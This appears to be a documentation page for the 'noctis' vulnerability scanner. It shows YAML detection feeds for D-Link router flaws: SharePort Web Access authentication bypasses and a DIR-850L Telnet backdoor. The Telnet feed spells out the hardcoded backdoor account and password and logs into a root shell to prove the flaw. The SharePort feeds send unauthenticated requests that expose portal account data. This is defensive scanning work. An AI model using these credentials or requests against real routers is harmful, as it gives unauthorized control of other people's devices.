# 2018/dlink/gb_dlink_dir_shareport_auth_bypass_vuln.nasl, OID 1.3.6.1.4.1.25623.1.0.113146):
# for /folder_view.php and /category_view.php, report when the
# unauthenticated GET answers HTTP 200 with <title>SharePort Web Access</title>
# and href="webfile_css/layout.css".
# Improvement over the NASL (stronger proof, same requests otherwise):
# - the pages are also tried under /webaccess/, where some firmware serves
# the portal;
# - after a page hit, the feed asks the backend the question the page's own
# script asks: GET <dir>/logininfo.xml?request=get_login_info. An
# unauthenticated reply holding <user_name> and no <redirect_page> proves
# the server hands the portal session to a client that never logged in
# (QoD 97). The XML carries the SharePort account name and password, so
# neither is put in the finding: the match runs on a fixed placeholder and
# the evidence only says whether the password field was empty;
# - when logininfo.xml answers with a <redirect_page> (or 401/403), the page is only static
# HTML and the server does send the visitor to the login page (fixed
# behaviour): no finding, where the NASL reports one;
# - the NASL's page-marker check stays as the QoD 75 fallback when
# logininfo.xml does not answer at all (markers matched a little more
# loosely: title case/spacing, quote style, leading "/" on the stylesheet).
# - the page is the same on the DIR-868L/885L/895L line (CVE-2019-16190):
# neither feed reads the model, so both may report the same device.
uid: fa107e4c-6d5c-4cb6-991b-1f1aa9fdf3e7
name: "D-Link DIR-850L SharePort Web Access authentication bypass"
description: |
Tests the SharePort Web Access portal of D-Link DIR-850L routers for the
authentication bypass in which category_view.php and folder_view.php are
served without a login. For each page, at the web root and under /webaccess/,
the test sends an unauthenticated GET and looks for a successful reply with
the SharePort Web Access title and the portal stylesheet. When a page is
found, it also asks the portal's login-info service
(logininfo.xml?request=get_login_info), as the page itself does: a reply that
returns the portal account fields without a redirect to the login page
confirms that the server grants the session to a visitor who never
authenticated. When that service answers with a redirect to the login page
or refuses the request (401/403) instead, the page is only static HTML and no finding is reported. When the
service does not answer, the page served without login is reported with
lower confidence. The account name and password in the reply are never
included in the finding.
cves: [CVE-2018-9032]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [dlink, dir-850l, router, shareport, auth-bypass, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2018-9032"
- "https://www.exploit-db.com/exploits/44378"
- "OpenVAS/Greenbone NASL 2018/dlink/gb_dlink_dir_shareport_auth_bypass_vuln.nasl (GPL-2.0-only)"
steps:
# ── Loop group: every step below runs once per candidate page ────────────
# Pre-initialise everything the later steps read, so a refused connection or
# a skipped probe never leaves a variable undefined (that aborts the test).
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
over: ["/folder_view.php", "/category_view.php", "/webaccess/folder_view.php", "/webaccess/category_view.php"]
var: path
- id: init-li
action: set_var
var_name: li
var_value: {status: 0, body: ""}
- id: init-verdict
action: set_var
var_name: verdict
var_value: {page_hit: false, session: false, redirect: false, pwd_empty: false, dir: "", proof: ""}
# 1 — the unauthenticated page request (the NASL's probe).
- id: page-probe
action: http_request
method: GET
path: "{{path}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page
- id: page-check
action: script
code: |
let b = page.body;
let hit = type_of(b) == "string" && page.status == 200 &&
ereg("(?i)<title>\\s*SharePort Web Access\\s*</title>", b) &&
ereg("href=[\"']/?webfile_css/layout\\.css[\"']", b);
let d = if stridx(path, "/webaccess/") == 0 { "/webaccess" } else { "" };
#{ page_hit: hit, session: false, redirect: false, pwd_empty: false, dir: d, proof: "" }
store_as: verdict
# 2 — ask the backend what the page's script asks, still unauthenticated.
- id: logininfo-probe
action: http_request
method: GET
path: "{{verdict.dir}}/logininfo.xml?request=get_login_info"
port: "{{port}}"
condition: "verdict.page_hit == true"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: li
# Account fields present and no redirect to the login page. Only booleans and
# a fixed placeholder leave this script — never the name or the password.
- id: logininfo-check
action: script
condition: "verdict.page_hit == true"
code: |
let b = li.body;
let ok = type_of(b) == "string" && li.status == 200 &&
ereg("<user_name>[^<]*</user_name>", b) && !ereg("<redirect_page", b);
// A <redirect_page> reply, or a 401/403, means the login is enforced.
let redir = (type_of(b) == "string" && ereg("<redirect_page", b)) ||
li.status == 401 || li.status == 403;
let empty = ok && ereg("<user_pwd>\\s*</user_pwd>|<user_pwd\\s*/>", b);
#{ page_hit: true, session: ok, redirect: redir, pwd_empty: empty, dir: verdict.dir,
proof: if ok { "logininfo-session-granted" } else { "" } }
store_as: verdict
# 3a — confirmed: the backend granted the portal session (QoD 97).
- id: session-match
action: match
source: verdict.proof
pattern: "^logininfo-session-granted$"
condition: "verdict.session == true"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "SharePort {{path}} served without login (HTTP 200, SharePort Web Access title and webfile_css/layout.css) and unauthenticated {{verdict.dir}}/logininfo.xml?request=get_login_info returned the portal account fields with no <redirect_page> (account name and password withheld; password empty: {{verdict.pwd_empty}})"
stop: true
# 3b — the page is served without login and the login-info service gave no
# answer either way. Skipped when it answers with a <redirect_page> or a
# 401/403: the page is only static HTML and the server enforces the login.
- id: page-match
action: match
source: page.body
pattern: "href=[\"']/?webfile_css/layout\\.css[\"']"
condition: "verdict.page_hit == true && verdict.session == false && verdict.redirect == false"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "SharePort {{path}} served without login: HTTP 200 with the SharePort Web Access title and webfile_css/layout.css"
stop: trueD-Link DIR-850L Telnet backdoor account Alphanetworks
| CVE | CVE-2017-14421 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | default-credentials — Default credentials |
| Services | telnet |
| Detection | set_var, script, tcp_open, sleep, tcp_send, tcp_close, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dir8xx/CVE-2017-14421.yaml |
The Telnet service of a D-Link DIR-850L rev. B router (firmware through FW208WWb02) logged in the hardcoded backdoor account "Alphanetworks" with the firmware's fixed password "wrgac25_dlink.2013gui_dir850l" and opened a BusyBox root shell, while a random password was rejected. An attacker on the network gets full control of the router.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- Sends
…on the open socket - Parses / computes the next value with a Rhai script
- Sends
{{tn_user}}on the open socket - Sends
{{tn_pass}}on the open socket - Sends
{{calc.cmd1}}on the open socket - Sends
{{calc.cmd2}}on the open socket - Sends
on the open socket - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Opens a persistent TCP/TLS socket
- … and 8 more steps — see the feed source below
References:
- https://nvd.nist.gov/vuln/detail/CVE-2017-14421
- https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html
Feed source — tests/vulnerabilities/dlink-dir8xx/CVE-2017-14421.yaml
# D-Link DIR-850L rev. B — hardcoded Telnet backdoor account
# Alphanetworks:wrgac25_dlink.2013gui_dir850l (CVE-2017-14421).
#
# On reset the router runs `mfcd -l /usr/sbin/login -u Alphanetworks:$image_sign
# -i br0` (a telnetd on the LAN bridge) with the firmware's fixed image_sign as
# the password, which logs straight into a BusyBox v1.14.1 root shell (msh):
# Login: Alphanetworks / Password: wrgac25_dlink.2013gui_dir850l
# BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh)
# (Pierre Kim, 2017-09-08 advisory).
#
# Ported from OpenVAS/Greenbone NVT
# 2018/dlink/gb_dlink_dir850l_revB_telnet_backdoor.nasl
# (OID 1.3.6.1.4.1.25623.1.0.107301, GPL-2.0-only): require "Login:" in the
# negotiated greeting, send the login, expect "Password:", send the password
# plus an empty line, send `sh` and require "BusyBox" + "built-in shell".
# This feed sends the password with a single CRLF (the empty line only padded
# the NASL's blind read) and no `sh` (see below).
#
# Deviations from the NASL (stronger detection, documented in the PR):
# * Real command proof: once logged in, the shell runs two benign arithmetic
# commands with random operands — `expr a + b` (a BusyBox applet, works in
# the device's msh, which has no $((...)) expansion) and
# `echo NOCTIS$((c+d))` (ash/hush builds). Either computed sum proves the
# shell ran our command; neither appears in what we send, so the telnetd
# echo of the typed line cannot produce it (QoD 97). The NASL's banner-only
# evidence is kept as a fallback (QoD 75) when no command output comes back.
# * `sh` is not sent: the login already lands in the shell (advisory
# transcript) and the banner the NASL wants is printed right after login.
# * Accept-any-password guard: after a successful login a second login with a
# random password is made; when it also opens a shell (honeypot / broken
# login) the feed reports nothing.
# * Late greeting: a router that greets after the first 500 ms read is still
# recognised (wait, then read again) instead of being skipped. The prompt is
# matched case-insensitively ("Login:" on the device).
#
# BusyBox login flushes type-ahead before the password prompt, so each line is
# sent only after a pause. One wrong-password attempt (the control) is made only
# after the backdoor login already worked. Nothing is changed on the device.
# category: default-credentials so operators can exclude credential logins.
uid: b971890f-aab0-4287-ace7-4b2f9be905e2
name: "D-Link DIR-850L Telnet backdoor account Alphanetworks (CVE-2017-14421)"
description: |
The Telnet service of a D-Link DIR-850L rev. B router (firmware through
FW208WWb02) logged in the hardcoded backdoor account "Alphanetworks" with the
firmware's fixed password "wrgac25_dlink.2013gui_dir850l" and opened a BusyBox
root shell, while a random password was rejected. An attacker on the network
gets full control of the router.
cves: [CVE-2017-14421]
cvss: 9.8
severity: critical
category: default-credentials
confidence_base: 0.30
tags: [dlink, dir-850l, router, telnet, busybox, default-credentials, backdoor, hardcoded-credentials, intrusive]
services: [telnet]
author: noctis
version: "1.0.1"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2017-14421"
- "https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html"
vars:
tn_user: "Alphanetworks"
tn_pass: "wrgac25_dlink.2013gui_dir850l"
steps:
# ---------------------------------------------------------------- set-up
- id: init-gate
action: set_var
var_name: gate
var_value: false
- id: init-sh-proof
action: set_var
var_name: sh_proof
var_value: false
- id: init-nasl-markers
action: set_var
var_name: nasl_markers
var_value: false
- id: init-ctl-shell
action: set_var
var_name: ctl_shell
var_value: false
- id: init-late
action: set_var
var_name: late
var_value: {response: ""}
# Random control password — never the backdoor one.
- id: control-password
action: script
store_as: ctl_pw
code: |
"noctis" + rand_str(14)
# Benign shell proofs: each sum is computed on the device (expr applet /
# shell arithmetic) and never appears in the request.
- id: calc
action: script
store_as: calc
code: |
// Every operand is >= 500000, so both sums are 7 digits (1000000 to
// 1999998): a 7-digit run that no 6-digit operand echoed back by
// telnetd can contain, and that finding-shell's [0-9]{7} always matches
// (with 6-digit c + d sums an ash-only device, where only cmd2 prints,
// proved the shell but got no finding).
let a = rand_int(500000, 999999);
let b = rand_int(500000, 999999);
let c = rand_int(500000, 999999);
let d = rand_int(500000, 999999);
#{
cmd1: "expr " + a.to_string() + " + " + b.to_string(),
token1: (a + b).to_string(),
cmd2: "echo NOCTIS$((" + c.to_string() + "+" + d.to_string() + "))",
token2: "NOCTIS" + (c + d).to_string()
}
# ------------------------------------------------------ greeting / gate
- id: open
action: tcp_open
handle: tn
port: "{{port}}"
read_banner: true
timeout_secs: 10
store_as: conn
# No login prompt within the first read (nothing at all, or only telnetd's
# IAC negotiation while login is still starting): wait and read again (a
# zero-byte write only triggers the read).
- id: late-banner-wait
action: sleep
condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(tolower(conn.banner), \"login:\") == \"\")"
duration_ms: 3000
- id: late-banner
action: tcp_send
handle: tn
condition: "conn.connected == true && (type_of(conn.banner) != \"string\" || strstr(tolower(conn.banner), \"login:\") == \"\")"
send: ""
timeout_secs: 10
store_as: late
- id: gate-check
action: script
condition: "conn.connected == true"
store_as: gate
code: |
let g = "";
if type_of(conn.banner) == "string" { g += conn.banner; }
if type_of(late.response) == "string" { g += late.response; }
// the engine trims trailing whitespace off the greeting: no space after ":"
strstr(tolower(g), "login:") != ""
# ------------------------------------------------- backdoor-account login
- id: send-user
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{tn_user}}\r\n"
timeout_secs: 10
store_as: r_user
- id: wait-password-prompt
action: sleep
condition: "gate == true"
duration_ms: 3000
- id: send-pass
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{tn_pass}}\r\n"
timeout_secs: 10
store_as: r_pass
- id: wait-shell
action: sleep
condition: "gate == true"
duration_ms: 3000
- id: send-cmd
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{calc.cmd1}}\r\n"
timeout_secs: 10
store_as: r_cmd
- id: wait-cmd
action: sleep
condition: "gate == true"
duration_ms: 1000
- id: send-cmd2
action: tcp_send
handle: tn
condition: "gate == true"
send: "{{calc.cmd2}}\r\n"
timeout_secs: 10
store_as: r_cmd2
- id: wait-output
action: sleep
condition: "gate == true"
duration_ms: 1500
# An empty line flushes whatever the shell printed after the previous read.
- id: flush
action: tcp_send
handle: tn
condition: "gate == true"
send: "\r\n"
timeout_secs: 10
store_as: r_tail
- id: close
action: tcp_close
handle: tn
- id: collect
action: script
condition: "gate == true"
store_as: tn_out
code: |
let out = "";
for r in [r_user, r_pass, r_cmd, r_cmd2, r_tail] {
if type_of(r.response) == "string" { out += r.response; }
}
out
- id: check-shell-proof
action: script
condition: "gate == true"
store_as: sh_proof
code: |
strstr(tn_out, calc.token1) != "" || strstr(tn_out, calc.token2) != ""
# The NASL's own success markers (BusyBox shell banner after the password).
- id: check-nasl-markers
action: script
condition: "gate == true"
store_as: nasl_markers
code: |
strstr(tn_out, "BusyBox") != "" && strstr(tn_out, "built-in shell") != ""
# ---------------------------------------- control: random password login
# Only when the backdoor login looked successful, to rule out a service that
# opens a shell for any password.
- id: ctl-open
action: tcp_open
handle: ctl
port: "{{port}}"
condition: "sh_proof == true || nasl_markers == true"
read_banner: true
timeout_secs: 10
store_as: ctl_conn
- id: ctl-user
action: tcp_send
handle: ctl
condition: "sh_proof == true || nasl_markers == true"
send: "{{tn_user}}\r\n"
timeout_secs: 10
store_as: c_user
- id: ctl-wait-password-prompt
action: sleep
condition: "sh_proof == true || nasl_markers == true"
duration_ms: 3000
- id: ctl-pass
action: tcp_send
handle: ctl
condition: "sh_proof == true || nasl_markers == true"
send: "{{ctl_pw}}\r\n"
timeout_secs: 10
store_as: c_pass
- id: ctl-wait-shell
action: sleep
condition: "sh_proof == true || nasl_markers == true"
duration_ms: 3000
- id: ctl-cmd
action: tcp_send
handle: ctl
condition: "sh_proof == true || nasl_markers == true"
send: "{{calc.cmd1}}\r\n"
timeout_secs: 10
store_as: c_cmd
- id: ctl-wait-cmd
action: sleep
condition: "sh_proof == true || nasl_markers == true"
duration_ms: 1000
- id: ctl-cmd2
action: tcp_send
handle: ctl
condition: "sh_proof == true || nasl_markers == true"
send: "{{calc.cmd2}}\r\n"
timeout_secs: 10
store_as: c_cmd2
- id: ctl-wait-output
action: sleep
condition: "sh_proof == true || nasl_markers == true"
duration_ms: 1500
- id: ctl-flush
action: tcp_send
handle: ctl
condition: "sh_proof == true || nasl_markers == true"
send: "\r\n"
timeout_secs: 10
store_as: c_tail
- id: ctl-close
action: tcp_close
handle: ctl
- id: ctl-check
action: script
condition: "sh_proof == true || nasl_markers == true"
store_as: ctl_shell
code: |
let out = "";
for r in [c_user, c_pass, c_cmd, c_cmd2, c_tail] {
if type_of(r.response) == "string" { out += r.response; }
}
strstr(out, calc.token1) != "" || strstr(out, calc.token2) != "" || strstr(out, "built-in shell") != ""
# ---------------------------------------------------------------- findings
- id: finding-shell
action: match
source: tn_out
pattern: "[0-9]{7}"
condition: "sh_proof == true && ctl_shell == false"
on_match:
finding:
title: "D-Link DIR-850L Telnet backdoor account Alphanetworks (CVE-2017-14421)"
description: "The Telnet service logged in the hardcoded account '{{tn_user}}' with the fixed password '{{tn_pass}}' and the BusyBox root shell computed our random arithmetic (`{{calc.cmd1}}` = {{calc.token1}} or `{{calc.cmd2}}` = {{calc.token2}}), while a random password was rejected."
remediation: "The DIR-850L is end-of-life: replace it, or at least update rev. B firmware past FW208WWb02, disable Telnet and keep untrusted hosts off the router's LAN."
confidence_delta: 0.65
qod: 97
evidence: "Telnet Alphanetworks login + shell computed {{calc.token1}} (`{{calc.cmd1}}`) or {{calc.token2}} (`{{calc.cmd2}}`): {{tn_out}}"
stop: true
# NASL-equivalent fallback: shell banner after the backdoor login, command
# output not captured. Not gated on sh_proof == false: finding-shell stops
# the feed when it fires, so this only runs when it did not, and a proof that
# finding-shell's pattern somehow missed still yields the QoD 75 finding.
- id: finding-banner
action: match
source: tn_out
pattern: "built-in shell"
condition: "nasl_markers == true && ctl_shell == false"
on_match:
finding:
title: "D-Link DIR-850L Telnet backdoor account Alphanetworks (CVE-2017-14421)"
description: "The Telnet service logged in the hardcoded account '{{tn_user}}' with the fixed password '{{tn_pass}}' and printed the BusyBox shell banner, while a random password was rejected. The shell's command output was not captured."
remediation: "The DIR-850L is end-of-life: replace it, or at least update rev. B firmware past FW208WWb02, disable Telnet and keep untrusted hosts off the router's LAN."
confidence_delta: 0.50
qod: 75
evidence: "Telnet Alphanetworks login, BusyBox shell banner: {{tn_out}}"D-Link DIR-868L/885L/895L SharePort Web Access authentication bypass
| CVE | CVE-2019-16190 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, script, match · highest QoD 97 |
| Feed | tests/vulnerabilities/dlink-dir8xx/CVE-2019-16190.yaml |
Tests the SharePort Web Access portal of D-Link DIR-868L, DIR-885L and DIR-895L routers for the authentication bypass in which folder_view.php and category_view.php are served without a login. For each page, at the web root and under /webaccess/, the test sends an unauthenticated GET and looks for the SharePort page markers in a successful reply. When a page is found, it also asks the portal's login-info service (logininfo.xml?request=get_login_info), as the page itself does: a reply that returns the portal account fields without a redirect to the login page confirms that the server grants the session to a visitor who never authenticated. When that service answers with a redirect to the login page instead, the page is only static HTML and no finding is reported. The account name and password in the reply are never included in the finding.
How noctis detects it
- HTTP(S) request
GET {{path}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{verdict.dir}}/logininfo.xml?request=get_login_info - Parses / computes the next value with a Rhai script
- Checks
verdict.prooffor^logininfo-session-granted$→ finding QoD 97: SharePort … served without login (HTTP 200, SharePort page markers) and unauthenticated …/logininfo.xml?request=get_login_info returned the… - Checks
page.bodyforalert\("No HardDrive Connected"\);|location\.href='doc\.php→ finding QoD 75: SharePort … served without login: HTTP 200 with the SharePort page markers
References:
- https://nvd.nist.gov/vuln/detail/CVE-2019-16190
- https://cyberloginit.com/2019/09/10/dlink-shareport-web-access-authentication-bypass.html
Feed source — tests/vulnerabilities/dlink-dir8xx/CVE-2019-16190.yaml
# D-Link DIR-868L / DIR-885L / DIR-895L SharePort Web Access authentication bypass
# (CVE-2019-16190)
#
# SharePort Web Access (the router's USB-storage web portal, usually on port
# 8181) only enforces its login in the browser. folder_view.php and
# category_view.php are served to anyone; their JavaScript asks
# logininfo.xml?request=get_login_info whether to send the visitor to the login
# page (a <redirect_page> element) and, when the reply carries none, loads the
# file browser. Affected: DIR-868L REVB <= 2.03, DIR-885L REVA <= 1.20,
# DIR-895L REVA <= 1.21 (cyberloginit, 2019-09-10). CVSS 9.8 per NVD.
#
# Detection (ported from OpenVAS/Greenbone NVT
# 2019/dlink/gb_dlink_dir_auth_bypass_vuln_sep19.nasl, OID 1.3.6.1.4.1.25623.1.0.113535):
# for /folder_view.php, /category_view.php and their /webaccess/ variants,
# report when the unauthenticated GET answers HTTP 200 with the SharePort
# page markers `alert("No HardDrive Connected");` or `location.href='doc.php`.
# Improvement over the NASL (stronger proof, same requests otherwise):
# - after a page hit, the feed also asks the backend the question the page's
# own script asks: GET <dir>/logininfo.xml?request=get_login_info. An
# unauthenticated reply holding <user_name> and no <redirect_page> proves
# the server hands the portal session to a client that never logged in
# (QoD 97). The XML carries the SharePort account name and password, so
# neither is put in the finding: the match runs on a fixed placeholder and
# the evidence only says whether the password field was empty.
# - the NASL's page-marker check stays as the QoD 75 fallback when
# logininfo.xml does not answer that way.
uid: 397382ca-56b0-4cb6-b474-84975f3477a5
name: "D-Link DIR-868L/885L/895L SharePort Web Access authentication bypass"
description: |
Tests the SharePort Web Access portal of D-Link DIR-868L, DIR-885L and
DIR-895L routers for the authentication bypass in which folder_view.php and
category_view.php are served without a login. For each page, at the web root
and under /webaccess/, the test sends an unauthenticated GET and looks for the
SharePort page markers in a successful reply. When a page is found, it also
asks the portal's login-info service (logininfo.xml?request=get_login_info),
as the page itself does: a reply that returns the portal account fields
without a redirect to the login page confirms that the server grants the
session to a visitor who never authenticated. When that service answers
with a redirect to the login page instead, the page is only static HTML and
no finding is reported. The account name and password in the reply are never
included in the finding.
cves: [CVE-2019-16190]
cvss: 9.8
severity: critical
category: auth-bypass
confidence_base: 0.25
tags: [dlink, dir-868l, dir-885l, dir-895l, router, shareport, auth-bypass, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2019-16190"
- "https://cyberloginit.com/2019/09/10/dlink-shareport-web-access-authentication-bypass.html"
- "OpenVAS/Greenbone NASL 2019/dlink/gb_dlink_dir_auth_bypass_vuln_sep19.nasl (GPL-2.0-only)"
steps:
# ── Loop group: every step below runs once per candidate page ────────────
# Pre-initialise everything the later steps read, so a refused connection or
# a skipped probe never leaves a variable undefined (that aborts the test).
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
over: ["/folder_view.php", "/category_view.php", "/webaccess/folder_view.php", "/webaccess/category_view.php"]
var: path
- id: init-li
action: set_var
var_name: li
var_value: {status: 0, body: ""}
- id: init-verdict
action: set_var
var_name: verdict
var_value: {page_hit: false, session: false, redirect: false, pwd_empty: false, dir: "", proof: ""}
# 1 — the unauthenticated page request (the NASL's probe).
- id: page-probe
action: http_request
method: GET
path: "{{path}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: page
- id: page-check
action: script
code: |
let b = page.body;
let hit = type_of(b) == "string" && page.status == 200 &&
ereg("alert\\(\"No HardDrive Connected\"\\);|location\\.href='doc\\.php", b);
let d = if stridx(path, "/webaccess/") == 0 { "/webaccess" } else { "" };
#{ page_hit: hit, session: false, redirect: false, pwd_empty: false, dir: d, proof: "" }
store_as: verdict
# 2 — ask the backend what the page's script asks, still unauthenticated.
- id: logininfo-probe
action: http_request
method: GET
path: "{{verdict.dir}}/logininfo.xml?request=get_login_info"
port: "{{port}}"
condition: "verdict.page_hit == true"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: li
# Account fields present and no redirect to the login page. Only booleans and
# a fixed placeholder leave this script — never the name or the password.
- id: logininfo-check
action: script
condition: "verdict.page_hit == true"
code: |
let b = li.body;
let ok = type_of(b) == "string" && li.status == 200 &&
ereg("<user_name>[^<]*</user_name>", b) && !ereg("<redirect_page", b);
let redir = type_of(b) == "string" && ereg("<redirect_page", b);
let empty = ok && ereg("<user_pwd>\\s*</user_pwd>|<user_pwd\\s*/>", b);
#{ page_hit: true, session: ok, redirect: redir, pwd_empty: empty, dir: verdict.dir,
proof: if ok { "logininfo-session-granted" } else { "" } }
store_as: verdict
# 3a — confirmed: the backend granted the portal session (QoD 97).
- id: session-match
action: match
source: verdict.proof
pattern: "^logininfo-session-granted$"
condition: "verdict.session == true"
on_match:
finding:
confidence_delta: 0.70
qod: 97
evidence: "SharePort {{path}} served without login (HTTP 200, SharePort page markers) and unauthenticated {{verdict.dir}}/logininfo.xml?request=get_login_info returned the portal account fields with no <redirect_page> (account name and password withheld; password empty: {{verdict.pwd_empty}})"
stop: true
# 3b — the NASL's check alone: the protected page is served without login.
# Skipped when logininfo.xml answers with a <redirect_page>: the page is only
# static HTML and the server does send the visitor to the login page, which
# is the fixed behaviour (the NASL reports it anyway).
- id: page-match
action: match
source: page.body
pattern: "alert\\(\"No HardDrive Connected\"\\);|location\\.href='doc\\.php"
condition: "verdict.page_hit == true && verdict.session == false && verdict.redirect == false"
on_match:
finding:
confidence_delta: 0.60
qod: 75
evidence: "SharePort {{path}} served without login: HTTP 200 with the SharePort page markers"
stop: true